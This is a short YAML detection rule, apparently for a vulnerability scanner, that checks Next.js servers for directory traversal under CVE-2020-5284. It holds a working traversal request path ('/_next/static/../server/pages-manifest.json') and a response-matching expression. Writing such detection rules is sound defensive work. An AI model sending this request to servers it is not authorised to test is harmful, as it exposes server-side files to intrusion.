name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal
rules:
  - method: GET
    path: /_next/static/../server/pages-manifest.json
    expression: |
      response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)
detail:
  author: x1n9Qi8
  links:
    - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284